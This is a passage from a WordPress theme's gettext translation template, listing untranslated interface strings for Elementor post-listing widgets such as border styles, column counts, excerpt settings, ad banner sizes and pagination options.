elementor/grid-2.php:360 #: elementor/grid-box-1.php:360 elementor/grid-box-2.php:360 elementor/grid-small-1.php:369 #: elementor/hierarchical-1.php:282 elementor/hierarchical-2.php:254 #: elementor/hierarchical-3.php:269 elementor/list-1.php:394 elementor/list-2.php:389 #: elementor/list-box-1.php:394 elementor/list-box-2.php:394 elementor/list-small-1.php:246 #: elementor/list-small-2.php:296 elementor/list-small-3.php:286 elementor/overlay-1.php:261 #: elementor/overlay-2.php:365 msgid "Review Meta" msgstr "" #: elementor/classic-1.php:371 elementor/grid-1.php:371 elementor/grid-2.php:370 #: elementor/grid-box-1.php:370 elementor/grid-box-2.php:370 elementor/grid-small-1.php:379 #: elementor/hierarchical-1.php:292 elementor/hierarchical-2.php:264 #: elementor/hierarchical-3.php:279 elementor/list-1.php:404 elementor/list-2.php:399 #: elementor/list-box-1.php:404 elementor/list-box-2.php:404 elementor/list-small-1.php:256 #: elementor/list-small-2.php:306 elementor/list-small-3.php:296 elementor/overlay-1.php:271 #: elementor/overlay-2.php:375 msgid "Review Meta Description" msgstr "" #: elementor/classic-1.php:381 elementor/grid-1.php:381 elementor/grid-2.php:380 #: elementor/grid-box-1.php:380 elementor/grid-box-2.php:380 elementor/grid-small-1.php:389 #: elementor/hierarchical-1.php:272 elementor/hierarchical-3.php:259 elementor/list-1.php:414 #: elementor/list-2.php:379 elementor/list-box-1.php:414 elementor/list-box-2.php:414 #: elementor/list-small-2.php:286 elementor/list-small-3.php:276 elementor/overlay-1.php:251 #: elementor/overlay-2.php:355 msgid "Post Format Icon" msgstr "" #: elementor/classic-1.php:391 elementor/grid-1.php:391 elementor/grid-2.php:390 #: elementor/grid-box-1.php:390 elementor/grid-box-2.php:390 elementor/grid-small-1.php:399 #: elementor/hierarchical-1.php:302 elementor/hierarchical-2.php:274 #: elementor/hierarchical-3.php:289 elementor/list-1.php:424 elementor/list-2.php:409 #: elementor/list-box-1.php:424 elementor/list-box-2.php:424 elementor/list-small-1.php:266 #: elementor/list-small-2.php:316 elementor/list-small-3.php:306 elementor/overlay-1.php:281 #: elementor/overlay-2.php:385 msgid "Bookmark Icon" msgstr "" #: elementor/classic-1.php:401 elementor/grid-1.php:401 elementor/grid-2.php:400 #: elementor/grid-box-1.php:400 elementor/grid-box-2.php:400 elementor/grid-small-1.php:409 #: elementor/list-1.php:434 elementor/list-2.php:419 elementor/list-box-1.php:434 #: elementor/list-box-2.php:434 msgid "Excerpt" msgstr "" #: elementor/classic-1.php:411 elementor/grid-1.php:411 elementor/grid-2.php:410 #: elementor/grid-box-1.php:410 elementor/grid-box-2.php:410 elementor/grid-small-1.php:419 #: elementor/hierarchical-1.php:312 elementor/hierarchical-2.php:284 #: elementor/hierarchical-3.php:299 elementor/list-1.php:444 elementor/list-2.php:429 #: elementor/list-box-1.php:444 elementor/list-box-2.php:444 elementor/list-small-1.php:276 #: elementor/list-small-2.php:326 elementor/list-small-3.php:316 elementor/overlay-1.php:291 #: elementor/overlay-2.php:395 msgid "Excerpt - Max Length" msgstr "" #: elementor/classic-1.php:420 elementor/grid-1.php:420 elementor/grid-2.php:419 #: elementor/grid-box-1.php:419 elementor/grid-box-2.php:419 elementor/grid-small-1.php:428 #: elementor/hierarchical-1.php:321 elementor/hierarchical-2.php:293 #: elementor/hierarchical-3.php:308 elementor/list-1.php:453 elementor/list-2.php:438 #: elementor/list-box-1.php:453 elementor/list-box-2.php:453 elementor/list-small-1.php:285 #: elementor/list-small-2.php:335 elementor/list-small-3.php:325 elementor/overlay-1.php:300 #: elementor/overlay-2.php:404 msgid "Excerpt - Source" msgstr "" #: elementor/classic-1.php:430 elementor/grid-1.php:430 elementor/grid-2.php:429 #: elementor/grid-box-1.php:429 elementor/grid-box-2.php:429 elementor/grid-small-1.php:438 #: elementor/hierarchical-1.php:331 elementor/hierarchical-2.php:303 #: elementor/hierarchical-3.php:318 elementor/list-1.php:463 elementor/list-2.php:448 #: elementor/list-box-1.php:463 elementor/list-box-2.php:463 elementor/list-small-1.php:295 #: elementor/list-small-2.php:345 elementor/list-small-3.php:335 elementor/overlay-1.php:310 #: elementor/overlay-2.php:414 msgid "Read More Button" msgstr "" #: elementor/classic-1.php:440 elementor/grid-1.php:440 elementor/grid-2.php:439 #: elementor/grid-box-1.php:439 elementor/grid-box-2.php:439 elementor/grid-small-1.php:448 #: elementor/hierarchical-1.php:341 elementor/hierarchical-2.php:313 #: elementor/hierarchical-3.php:328 elementor/list-1.php:473 elementor/list-2.php:458 #: elementor/list-box-1.php:473 elementor/list-box-2.php:473 elementor/list-small-1.php:305 #: elementor/list-small-2.php:355 elementor/list-small-3.php:345 elementor/overlay-1.php:320 #: elementor/overlay-2.php:424 msgid "Sponsored Meta" msgstr "" #: elementor/classic-1.php:466 elementor/grid-1.php:466 elementor/grid-2.php:465 #: elementor/grid-box-1.php:465 elementor/grid-box-2.php:465 elementor/grid-small-1.php:474 #: elementor/hierarchical-1.php:377 elementor/hierarchical-2.php:349 #: elementor/hierarchical-3.php:364 elementor/list-1.php:500 elementor/list-2.php:484 #: elementor/list-box-1.php:499 elementor/list-box-2.php:499 elementor/list-small-1.php:331 #: elementor/list-small-2.php:381 elementor/list-small-3.php:371 elementor/overlay-1.php:346 #: elementor/overlay-2.php:450 msgid "Entry Category Size" msgstr "" #: elementor/classic-1.php:484 elementor/grid-1.php:484 elementor/grid-2.php:483 #: elementor/grid-box-1.php:483 elementor/grid-box-2.php:483 elementor/grid-small-1.php:492 #: elementor/hierarchical-1.php:404 elementor/hierarchical-2.php:376 #: elementor/hierarchical-3.php:391 elementor/list-1.php:518 elementor/list-2.php:502 #: elementor/list-box-1.php:517 elementor/list-box-2.php:517 elementor/list-small-1.php:349 #: elementor/list-small-2.php:399 elementor/list-small-3.php:389 elementor/overlay-1.php:364 #: elementor/overlay-2.php:468 msgid "Entry Format Size" msgstr "" #: elementor/classic-1.php:493 elementor/grid-1.php:493 elementor/grid-2.php:492 #: elementor/grid-box-1.php:492 elementor/grid-box-2.php:492 elementor/grid-small-1.php:501 #: elementor/hierarchical-1.php:413 elementor/hierarchical-2.php:385 #: elementor/hierarchical-3.php:400 elementor/list-1.php:527 elementor/list-2.php:511 #: elementor/list-box-1.php:526 elementor/list-box-2.php:526 elementor/list-small-1.php:358 #: elementor/list-small-2.php:408 elementor/list-small-3.php:398 elementor/overlay-1.php:373 #: elementor/overlay-2.php:477 msgid "Entry Excerpt Size" msgstr "" #: elementor/classic-1.php:503 elementor/grid-1.php:503 elementor/grid-2.php:502 #: elementor/grid-box-1.php:502 elementor/grid-box-2.php:502 elementor/grid-small-1.php:511 #: elementor/hierarchical-1.php:423 elementor/hierarchical-2.php:395 #: elementor/hierarchical-3.php:410 elementor/list-1.php:537 elementor/list-2.php:521 #: elementor/list-box-1.php:536 elementor/list-box-2.php:536 elementor/list-small-1.php:368 #: elementor/list-small-2.php:418 elementor/list-small-3.php:408 elementor/overlay-1.php:383 #: elementor/overlay-2.php:487 msgid "Responsive - Hide Elements" msgstr "" #: elementor/classic-1.php:510 elementor/grid-1.php:510 elementor/grid-2.php:509 #: elementor/grid-box-1.php:509 elementor/grid-box-2.php:509 elementor/grid-small-1.php:518 #: elementor/hierarchical-1.php:430 elementor/hierarchical-2.php:402 #: elementor/hierarchical-3.php:417 elementor/list-1.php:544 elementor/list-2.php:528 #: elementor/list-box-1.php:543 elementor/list-box-2.php:543 elementor/list-small-1.php:375 #: elementor/list-small-2.php:425 elementor/list-small-3.php:415 elementor/overlay-1.php:390 #: elementor/overlay-2.php:494 msgid "Hide Entry Category" msgstr "" #: elementor/classic-1.php:520 elementor/grid-1.php:520 elementor/grid-2.php:519 #: elementor/grid-box-1.php:519 elementor/grid-box-2.php:519 elementor/grid-small-1.php:528 #: elementor/hierarchical-1.php:440 elementor/hierarchical-2.php:412 #: elementor/hierarchical-3.php:427 elementor/list-1.php:554 elementor/list-2.php:538 #: elementor/list-box-1.php:553 elementor/list-box-2.php:553 elementor/list-small-1.php:385 #: elementor/list-small-2.php:435 elementor/list-small-3.php:425 elementor/overlay-1.php:400 #: elementor/overlay-2.php:504 msgid "Tablet - Hide Entry Meta" msgstr "" #: elementor/classic-1.php:525 elementor/classic-1.php:538 elementor/grid-1.php:525 #: elementor/grid-1.php:538 elementor/grid-2.php:524 elementor/grid-2.php:537 #: elementor/grid-box-1.php:524 elementor/grid-box-1.php:537 elementor/grid-box-2.php:524 #: elementor/grid-box-2.php:537 elementor/grid-small-1.php:533 elementor/grid-small-1.php:546 #: elementor/hierarchical-1.php:445 elementor/hierarchical-1.php:458 #: elementor/hierarchical-2.php:417 elementor/hierarchical-2.php:430 #: elementor/hierarchical-3.php:432 elementor/hierarchical-3.php:445 elementor/list-1.php:559 #: elementor/list-1.php:572 elementor/list-2.php:543 elementor/list-2.php:556 #: elementor/list-box-1.php:558 elementor/list-box-1.php:571 elementor/list-box-2.php:558 #: elementor/list-box-2.php:571 elementor/list-small-1.php:390 elementor/list-small-1.php:403 #: elementor/list-small-2.php:440 elementor/list-small-2.php:453 #: elementor/list-small-3.php:430 elementor/list-small-3.php:443 elementor/overlay-1.php:405 #: elementor/overlay-1.php:418 elementor/overlay-2.php:509 elementor/overlay-2.php:522 msgid "avatar, author" msgstr "" #: elementor/classic-1.php:533 elementor/grid-1.php:533 elementor/grid-2.php:532 #: elementor/grid-box-1.php:532 elementor/grid-box-2.php:532 elementor/grid-small-1.php:541 #: elementor/hierarchical-1.php:453 elementor/hierarchical-2.php:425 #: elementor/hierarchical-3.php:440 elementor/list-1.php:567 elementor/list-2.php:551 #: elementor/list-box-1.php:566 elementor/list-box-2.php:566 elementor/list-small-1.php:398 #: elementor/list-small-2.php:448 elementor/list-small-3.php:438 elementor/overlay-1.php:413 #: elementor/overlay-2.php:517 msgid "Mobile - Hide Entry Meta" msgstr "" #: elementor/classic-1.php:546 elementor/grid-1.php:546 elementor/grid-2.php:545 #: elementor/grid-box-1.php:545 elementor/grid-box-2.php:545 elementor/grid-small-1.php:554 #: elementor/hierarchical-1.php:466 elementor/hierarchical-2.php:438 #: elementor/hierarchical-3.php:453 elementor/list-1.php:580 elementor/list-2.php:564 #: elementor/list-box-1.php:579 elementor/list-box-2.php:579 elementor/list-small-1.php:411 #: elementor/list-small-2.php:461 elementor/list-small-3.php:451 elementor/overlay-1.php:426 #: elementor/overlay-2.php:530 msgid "Hide Excerpt" msgstr "" #: elementor/classic-1.php:625 elementor/grid-1.php:662 elementor/grid-2.php:661 #: elementor/grid-box-1.php:661 elementor/grid-box-2.php:661 elementor/grid-small-1.php:670 #: elementor/hierarchical-1.php:553 elementor/hierarchical-2.php:507 #: elementor/hierarchical-3.php:512 elementor/list-1.php:659 elementor/list-2.php:643 #: elementor/list-box-1.php:658 elementor/list-box-2.php:658 elementor/list-small-1.php:509 #: elementor/list-small-2.php:577 elementor/list-small-3.php:549 elementor/overlay-1.php:514 #: elementor/overlay-2.php:618 msgid "Entry Category Font" msgstr "" #: elementor/classic-1.php:641 elementor/grid-1.php:678 elementor/grid-2.php:677 #: elementor/grid-box-1.php:677 elementor/grid-box-2.php:677 elementor/grid-small-1.php:686 #: elementor/overlay-2.php:634 msgid "This layout is best suited for putting to all sections, depending on column settings." msgstr "" #: elementor/classic-1.php:706 elementor/grid-1.php:744 elementor/grid-2.php:742 #: elementor/grid-box-1.php:786 elementor/grid-box-2.php:742 elementor/grid-small-1.php:751 #: elementor/hierarchical-1.php:567 elementor/hierarchical-2.php:521 #: elementor/hierarchical-3.php:526 elementor/list-1.php:732 elementor/list-2.php:724 #: elementor/list-box-1.php:775 elementor/list-box-2.php:775 elementor/list-small-1.php:619 #: elementor/list-small-2.php:658 elementor/list-small-3.php:630 elementor/overlay-1.php:605 #: elementor/overlay-2.php:709 msgid "Custom Element Spacing" msgstr "" #: elementor/classic-1.php:724 msgid "Content Max Width" msgstr "" #: elementor/classic-1.php:726 msgid "Input a max width value (in px) for the content of this layout." msgstr "" #: elementor/classic-1.php:734 elementor/control.php:250 elementor/control.php:517 #: elementor/grid-1.php:763 elementor/grid-2.php:761 elementor/grid-box-1.php:805 #: elementor/grid-box-2.php:761 elementor/grid-small-1.php:770 elementor/list-1.php:760 #: elementor/list-2.php:752 elementor/list-box-1.php:803 elementor/list-box-2.php:803 #: elementor/list-small-1.php:638 elementor/list-small-2.php:686 #: elementor/list-small-3.php:658 elementor/plan.php:153 membership/options.php:173 msgid "Border" msgstr "" #: elementor/classic-1.php:742 elementor/grid-1.php:771 elementor/grid-2.php:769 #: elementor/grid-box-1.php:813 elementor/grid-box-2.php:769 elementor/grid-small-1.php:778 #: elementor/list-1.php:768 elementor/list-2.php:760 elementor/list-box-1.php:811 #: elementor/list-box-2.php:811 elementor/list-small-1.php:646 elementor/list-small-2.php:694 #: elementor/list-small-3.php:666 msgid "The settings below require all responsive column values to be set." msgstr "" #: elementor/classic-1.php:759 elementor/control.php:254 elementor/grid-1.php:788 #: elementor/grid-2.php:786 elementor/grid-box-1.php:830 elementor/grid-box-2.php:786 #: elementor/grid-small-1.php:795 elementor/list-1.php:785 elementor/list-2.php:777 #: elementor/list-box-1.php:828 elementor/list-box-2.php:828 elementor/list-small-1.php:663 #: elementor/list-small-2.php:711 elementor/list-small-3.php:683 msgid "Bottom Border" msgstr "" #: elementor/classic-1.php:769 elementor/grid-1.php:798 elementor/grid-2.php:796 #: elementor/grid-box-1.php:840 elementor/grid-box-2.php:796 elementor/grid-small-1.php:805 #: elementor/list-1.php:795 elementor/list-2.php:787 elementor/list-box-1.php:838 #: elementor/list-box-2.php:838 elementor/list-small-1.php:673 elementor/list-small-2.php:721 #: elementor/list-small-3.php:693 msgid "Last Bottom Border" msgstr "" #: elementor/classic-1.php:779 elementor/grid-1.php:808 elementor/grid-2.php:806 #: elementor/grid-box-1.php:850 elementor/grid-box-2.php:850 elementor/grid-small-1.php:815 #: elementor/list-1.php:805 elementor/list-2.php:797 elementor/list-box-1.php:848 #: elementor/list-box-2.php:848 elementor/list-small-2.php:731 elementor/overlay-1.php:633 #: elementor/overlay-2.php:737 msgid "Centering" msgstr "" #: elementor/classic-1.php:786 elementor/grid-1.php:815 elementor/grid-2.php:813 #: elementor/grid-box-1.php:857 elementor/grid-box-2.php:857 elementor/grid-small-1.php:822 #: elementor/list-1.php:812 elementor/list-2.php:804 elementor/list-box-1.php:855 #: elementor/list-box-2.php:855 elementor/overlay-1.php:640 elementor/overlay-2.php:744 msgid "Centering Content" msgstr "" #: elementor/control.php:16 elementor/control.php:21 elementor/control.php:281 #: elementor/control.php:287 elementor/control.php:329 elementor/navigation.php:89 #: elementor/search-icon.php:54 includes/helpers.php:223 msgid "Enable" msgstr "" #: elementor/control.php:17 elementor/control.php:22 elementor/control.php:226 #: elementor/control.php:257 elementor/control.php:271 elementor/control.php:283 #: elementor/control.php:289 elementor/control.php:310 elementor/control.php:331 #: elementor/control.php:500 includes/helpers.php:224 msgid "Disable" msgstr "" #: elementor/control.php:36 elementor/control.php:77 includes/helpers.php:415 msgid "-- All categories --" msgstr "" #: elementor/control.php:40 includes/helpers.php:419 msgid "Dynamic Query" msgstr "" #: elementor/control.php:118 widgets/sb-post.php:121 msgid "Latest Posts" msgstr "" #: elementor/control.php:119 widgets/sb-post.php:122 msgid "Last Updated" msgstr "" #: elementor/control.php:120 widgets/sb-post.php:123 msgid "Popular Comment" msgstr "" #: elementor/control.php:121 widgets/sb-post.php:124 msgid "Popular" msgstr "" #: elementor/control.php:122 widgets/sb-post.php:125 msgid "Popular Published last 30 Days" msgstr "" #: elementor/control.php:123 widgets/sb-post.php:126 msgid "Popular Published last 7 Days" msgstr "" #: elementor/control.php:124 widgets/sb-post.php:127 msgid "Top Review" msgstr "" #: elementor/control.php:125 widgets/sb-post.php:128 msgid "Latest Review" msgstr "" #: elementor/control.php:126 widgets/sb-post.php:129 msgid "Post Type" msgstr "" #: elementor/control.php:127 widgets/sb-post.php:130 msgid "Latest Sponsored" msgstr "" #: elementor/control.php:128 widgets/sb-post.php:131 msgid "Random" msgstr "" #: elementor/control.php:129 widgets/sb-post.php:132 msgid "Author" msgstr "" #: elementor/control.php:130 widgets/sb-post.php:133 msgid "Title DECS" msgstr "" #: elementor/control.php:131 widgets/sb-post.php:134 msgid "Title ACS" msgstr "" #: elementor/control.php:132 widgets/sb-post.php:135 msgid "by input IDs Data (Post IDs filter)" msgstr "" #: elementor/control.php:139 widgets/sb-post.php:94 msgid "-- All --" msgstr "" #: elementor/control.php:141 widgets/sb-post.php:96 msgid "Gallery" msgstr "" #: elementor/control.php:142 widgets/sb-post.php:97 msgid "Video" msgstr "" #: elementor/control.php:143 widgets/sb-post.php:98 msgid "Audio" msgstr "" #: elementor/control.php:155 msgid "--All Authors--" msgstr "" #: elementor/control.php:176 msgid "H1" msgstr "" #: elementor/control.php:177 msgid "H2" msgstr "" #: elementor/control.php:178 msgid "H3" msgstr "" #: elementor/control.php:179 msgid "H4" msgstr "" #: elementor/control.php:180 msgid "H5" msgstr "" #: elementor/control.php:181 msgid "H6" msgstr "" #: elementor/control.php:182 msgid "p tag" msgstr "" #: elementor/control.php:183 msgid "span" msgstr "" #: elementor/control.php:197 msgid "Custom Settings Below" msgstr "" #: elementor/control.php:204 msgid "Use Post Excerpt" msgstr "" #: elementor/control.php:205 msgid "Use Title Tagline" msgstr "" #: elementor/control.php:217 elementor/control.php:239 elementor/control.php:270 #: elementor/control.php:302 elementor/control.php:328 msgid "Default from Theme Option" msgstr "" #: elementor/control.php:218 elementor/control.php:240 msgid "Background 1" msgstr "" #: elementor/control.php:219 elementor/control.php:241 msgid "Background 1 (Big)" msgstr "" #: elementor/control.php:220 elementor/control.php:242 msgid "Background 2" msgstr "" #: elementor/control.php:221 elementor/control.php:243 msgid "Background 2 (Big)" msgstr "" #: elementor/control.php:222 elementor/control.php:244 msgid "Background 3" msgstr "" #: elementor/control.php:223 elementor/control.php:245 msgid "Background 3 (Big)" msgstr "" #: elementor/control.php:224 elementor/control.php:246 msgid "Background 4" msgstr "" #: elementor/control.php:225 elementor/control.php:247 msgid "Background 4 (Big)" msgstr "" #: elementor/control.php:248 msgid "Only Text" msgstr "" #: elementor/control.php:249 msgid "Only Text (Big)" msgstr "" #: elementor/control.php:251 msgid "Border (Big)" msgstr "" #: elementor/control.php:252 msgid "Bottom Dotted" msgstr "" #: elementor/control.php:253 msgid "Bottom Dotted (Big)" msgstr "" #: elementor/control.php:255 msgid "Bottom Border (Big)" msgstr "" #: elementor/control.php:256 msgid "Left Dot" msgstr "" #: elementor/control.php:272 msgid "Custom Below" msgstr "" #: elementor/control.php:282 elementor/control.php:288 msgid "Enable without Label" msgstr "" #: elementor/control.php:303 msgid "Bottom Right" msgstr "" #: elementor/control.php:304 msgid "Bottom Right (Big Icon) " msgstr "" #: elementor/control.php:305 elementor/control.php:571 elementor/control.php:577 msgid "Top" msgstr "" #: elementor/control.php:306 msgid "Top (Big Icon)" msgstr "" #: elementor/control.php:307 elementor/dark-toggle.php:74 elementor/font-resizer.php:82 #: elementor/login-icon.php:109 elementor/logo.php:108 elementor/menu.php:83 #: elementor/mini-cart.php:77 elementor/navigation.php:127 elementor/notification-icon.php:92 #: elementor/search-icon.php:108 elementor/social-list.php:99 widgets/sb-social-icon.php:87 msgid "Center" msgstr "" #: elementor/control.php:308 msgid "Center (Big Icon)" msgstr "" #: elementor/control.php:309 msgid "After Entry Category" msgstr "" #: elementor/control.php:330 msgid "Replace for Entry Meta" msgstr "" #: elementor/control.php:353 elementor/social-follower.php:335 msgid "1 Column" msgstr "" #: elementor/control.php:354 elementor/social-follower.php:336 msgid "2 Columns" msgstr "" #: elementor/control.php:355 elementor/social-follower.php:337 msgid "3 Columns" msgstr "" #: elementor/control.php:356 elementor/social-follower.php:338 msgid "4 Columns" msgstr "" #: elementor/control.php:357 elementor/social-follower.php:339 msgid "5 Columns" msgstr "" #: elementor/control.php:358 elementor/social-follower.php:340 msgid "6 Columns" msgstr "" #: elementor/control.php:359 elementor/social-follower.php:341 msgid "7 Columns" msgstr "" #: elementor/control.php:380 msgid "No Gap" msgstr "" #: elementor/control.php:381 msgid "10px" msgstr "" #: elementor/control.php:382 msgid "14px" msgstr "" #: elementor/control.php:383 msgid "20px" msgstr "" #: elementor/control.php:384 msgid "30px" msgstr "" #: elementor/control.php:385 msgid "40px" msgstr "" #: elementor/control.php:386 msgid "50px" msgstr "" #: elementor/control.php:387 msgid "60px" msgstr "" #: elementor/control.php:388 msgid "70px" msgstr "" #: elementor/control.php:389 msgid "Custom Value" msgstr "" #: elementor/control.php:402 elementor/control.php:504 elementor/control.php:525 #: elementor/navigation.php:88 elementor/search-icon.php:53 msgid "- Disable -" msgstr "" #: elementor/control.php:403 msgid "Next Prev" msgstr "" #: elementor/control.php:404 msgid "Show More" msgstr "" #: elementor/control.php:405 msgid "Infinite Scroll" msgstr "" #: elementor/control.php:423 msgid "Numeric" msgstr "" #: elementor/control.php:424 msgid "Simple" msgstr "" #: elementor/control.php:425 msgid "Show More (ajax)" msgstr "" #: elementor/control.php:426 msgid "Infinite Scroll (ajax)" msgstr "" #: elementor/control.php:457 elementor/dark-toggle.php:70 elementor/font-resizer.php:78 #: elementor/login-icon.php:105 elementor/logo.php:104 elementor/menu.php:79 #: elementor/mini-cart.php:73 elementor/navigation.php:123 elementor/notification-icon.php:88 #: elementor/search-icon.php:104 elementor/social-list.php:95 widgets/sb-post.php:164 #: widgets/sb-social-icon.php:86 msgid "Left" msgstr "" #: elementor/control.php:458 elementor/dark-toggle.php:78 elementor/font-resizer.php:86 #: elementor/login-icon.php:113 elementor/logo.php:112 elementor/menu.php:87 #: elementor/mini-cart.php:81 elementor/navigation.php:131 elementor/notification-icon.php:96 #: elementor/search-icon.php:112 elementor/social-list.php:103 widgets/sb-post.php:165 msgid "Right" msgstr "" #: elementor/control.php:474 msgid "avatar (Author Avatar)" msgstr "" #: elementor/control.php:475 msgid "author (Author)" msgstr "" #: elementor/control.php:476 msgid "date (Publish Date)" msgstr "" #: elementor/control.php:477 msgid "category (Categories)" msgstr "" #: elementor/control.php:478 msgid "tag (Tags)" msgstr "" #: elementor/control.php:479 msgid "view (Post Views)" msgstr "" #: elementor/control.php:480 msgid "comment (Comments)" msgstr "" #: elementor/control.php:481 msgid "update (Last Updated)" msgstr "" #: elementor/control.php:482 msgid "read (Reading Time)" msgstr "" #: elementor/control.php:483 msgid "custom (Custom)" msgstr "" #: elementor/control.php:497 elementor/control.php:505 msgid "On Mobile" msgstr "" #: elementor/control.php:498 elementor/control.php:506 msgid "On Tablet" msgstr "" #: elementor/control.php:499 msgid "On Tablet & Mobile" msgstr "" #: elementor/control.php:507 msgid "Tablet & Mobile" msgstr "" #: elementor/control.php:516 elementor/plan.php:154 msgid "Background" msgstr "" #: elementor/control.php:518 elementor/plan.php:152 msgid "Shadow" msgstr "" #: elementor/control.php:526 msgid "Gray Solid" msgstr "" #: elementor/control.php:527 msgid "Dark Solid" msgstr "" #: elementor/control.php:528 msgid "Gray Dotted" msgstr "" #: elementor/control.php:529 msgid "Dark Dotted" msgstr "" #: elementor/control.php:530 msgid "Gray Dashed" msgstr "" #: elementor/control.php:531 msgid "Dark Dashed" msgstr "" #: elementor/control.php:541 widgets/sb-ad-script.php:126 msgid "Leaderboard (728x90)" msgstr "" #: elementor/control.php:542 widgets/sb-ad-script.php:127 msgid "Banner (468x60)" msgstr "" #: elementor/control.php:543 widgets/sb-ad-script.php:128 msgid "Half banner (234x60)" msgstr "" #: elementor/control.php:544 widgets/sb-ad-script.php:129 msgid "Button (125x125)" msgstr "" #: elementor/control.php:545 widgets/sb-ad-script.php:130 msgid "Skyscraper (120x600)" msgstr "" #: elementor/control.php:546 widgets/sb-ad-script.php:131 msgid "Wide Skyscraper (160x600)" msgstr "" #: elementor/control.php:547 widgets/sb-ad-script.php:132 msgid "Small Rectangle (180x150)" msgstr "" #: elementor/control.php:548 widgets/sb-ad-script.php:133 msgid "Vertical Banner (120 x 240)" msgstr "" #: elementor/control.php:549 widgets/sb-ad-script.php:134 msgid "Small Square (200x200)" msgstr "" #: elementor/control.php:550 widgets/sb-ad-script.php:135 msgid "Square (250x250)" msgstr "" #: elementor/control.php:551 widgets/sb-ad-script.php:136 msgid "Medium Rectangle (300x250)" msgstr "" #: elementor/control.php:552 widgets/sb-ad-script.php:137 msgid "Large Rectangle (336x280)" msgstr "" #: elementor/control.php:553 widgets/sb-ad-script.php:138 msgid "Half Page (300x600)" msgstr "" #: elementor/control.php:554 widgets/sb-ad-script.php:139 msgid "Portrait (300x1050)" msgstr "" #: elementor/control.php:555 widgets/sb-ad-script.php:140 msgid "Mobile Banner (320x50)" msgstr "" #: elementor/control.php:556 widgets/sb-ad-script.php:141 msgid "Large Leaderboard (970x90)" msgstr "" #: elementor/control.php:557 widgets/sb-ad-script.php:142 msgid "Billboard (970x250)" msgstr "" #: elementor/control.php:558 widgets/sb-ad-script.php:143 msgid "Mobile Banner (320x100)" msgstr "" #: elementor/control.php:559 widgets/sb-ad-script.php:144 msgid "Mobile Friendly (300x100)" msgstr "" #: elementor/control.php:560 widgets/sb-ad-script.php:125 msgid "Hide on Desktop" msgstr "" #: elementor/control.php:569 elementor/control.php:575 msgid "Middle" msgstr "" #: elementor/control.php:570 elementor/control.php:576 msgid "Bottom" msgstr "" #: elementor/control.php:585 msgid "Filter posts by category." msgstr "" #: elementor/control.php:590 widgets/sb-post.php:71 msgid "" "Filter posts by multiple category IDs, separated category IDs by commas (for example: " "1,2,3)." msgstr "" #: elementor/control.php:595 widgets/sb-post.php:78 msgid "" "Filter posts by tag slugs, separated by commas (for example: tagslug1,tagslug2,tagslug3)." msgstr "" #: elementor/control.php:600 widgets/sb-post.php:85 msgid "Exclude tag slugs, separated by commas (for example: tagslug1,tagslug2,tagslug3)." msgstr "" #: elementor/control.php:605 widgets/sb-post.php:92 msgid "Filter posts by post format." msgstr "" #: elementor/control.php:610 msgid "Filter posts by post author." msgstr "" #: elementor/control.php:615 widgets/sb-post.php:106 msgid "Exclude posts by Post IDs, separated by commas (for example: 1,2,3)." msgstr "" #: elementor/control.php:620 widgets/sb-post.php:113 msgid "Filter posts by post IDs. separated by commas (for example: 1,2,3)." msgstr "" #: elementor/control.php:625 msgid "Select a sort order type for queried posts." msgstr "" #: elementor/control.php:630 msgid "Select a number of posts to show at once." msgstr "" #: elementor/control.php:635 widgets/sb-post.php:149 msgid "Select number of posts to pass over. Leave this option blank to set at the beginning." msgstr "" #: elementor/control.php:640 msgid "Select a title HTML tag for the main title." msgstr "" #: elementor/control.php:645 msgid "Select a title HTML tag for the secondary titles." msgstr "" #: elementor/control.php:650 msgid "Select a featured image size to optimize with the columns setting." msgstr "" #: elementor/control.php:655 msgid "Select a position of the featured image for this layout." msgstr "" #: elementor/control.php:660 msgid "" "Input custom ratio percent (height*100/width) for featured image you would like. For " "example: 50" msgstr "" #: elementor/control.php:665 msgid "Enable or disable category info on the post featured image." msgstr "" #: elementor/control.php:670 msgid "" "Input custom font size value for the entry category of this layout. Leave blank if you " "would like to set it as the default." msgstr "" #: elementor/control.php:675 msgid "Enable or disable the post entry meta." msgstr "" #: elementor/control.php:680 widgets/sb-post.php:156 msgid "" "Input custom entry meta tags to show, separate by comma. For example: avatar,author,date. " "Keys include: [avatar, author, date, category, tag, view, comment, update, read, custom]" msgstr "" #: elementor/control.php:690 msgid "Disable or select setting for the post review meta." msgstr "" #: elementor/control.php:695 msgid "Enable or disable the post format icon." msgstr "" #: elementor/control.php:700 msgid "" "Input custom font size value for the post format icon of this layout. Leave blank if you " "would like to set it as the default." msgstr "" #: elementor/control.php:705 msgid "" "Input custom font size value for the post excerpt. Leave blank if you would like to set it " "as the default." msgstr "" #: elementor/control.php:710 msgid "Enable or disable the short meta description in the entry review bar." msgstr "" #: elementor/control.php:715 msgid "Enable or disable the bookmark." msgstr "" #: elementor/control.php:720 msgid "Select settings for the post excerpt." msgstr "" #: elementor/control.php:725 msgid "" "Leave this option blank or set 0 to disable. Choose \"Custom Settings Below\" in the above " "\"Excerpt\" option to activate this setting." msgstr "" #: elementor/control.php:730 msgid "" "Select a source of content to display for the post excerpt. Choose \"Custom Settings Below" "\" in the above \"Excerpt\" option to activate this setting." msgstr "" #: elementor/control.php:735 msgid "Enable or disable the read more button." msgstr "" #: elementor/control.php:740 msgid "Select total columns to show per row." msgstr "" #: elementor/control.php:745 msgid "Select total columns to show per row on the tablet device." msgstr "" #: elementor/control.php:750 msgid "Select total columns to show per row on the mobile device." msgstr "" #: elementor/control.php:755 msgid "" "Select a spacing between columns. Select \"Custom Value\" if you would like input it " "manually." msgstr "" #: elementor/control.php:760 msgid "" "Input 1/2 value of the custom gap between columns (in px) for desktop, tablet and mobile " "devices. The spacing will be 2x your input value." msgstr "" #: elementor/control.php:765 msgid "Display vertical borders between columns." msgstr "" #: elementor/control.php:770 msgid "Select a ajax pagination type." msgstr "" #: elementor/control.php:775 msgid "Do not duplicate posts has been queried before this block." msgstr "" #: elementor/control.php:780 msgid "" "If you assign this template for category or archive. The dynamic query helps you to only " "filter posts that base on current category page it's display on." msgstr "" #: elementor/control.php:785 msgid "" "Dynamic query cannot execute in this live editor. The latest posts will be displayed. Your " "change will be effect when you assign this template to a category page." msgstr "" #: elementor/control.php:790 msgid "Enable the scroll bar." msgstr "" #: elementor/control.php:795 msgid "" "Input the max block height (in px) when you would like to enable scrollbar. Leave this " "option blank to disable the scroll bar." msgstr "" #: elementor/control.php:800 msgid "Select a text color scheme for this block." msgstr "" #: elementor/control.php:805 msgid "Select a box style for the post listing ." msgstr "" #: elementor/control.php:810 msgid "Select a color for the background or border style." msgstr "" #: elementor/control.php:815 msgid "" "Select a color in the dark mode or light scheme mode 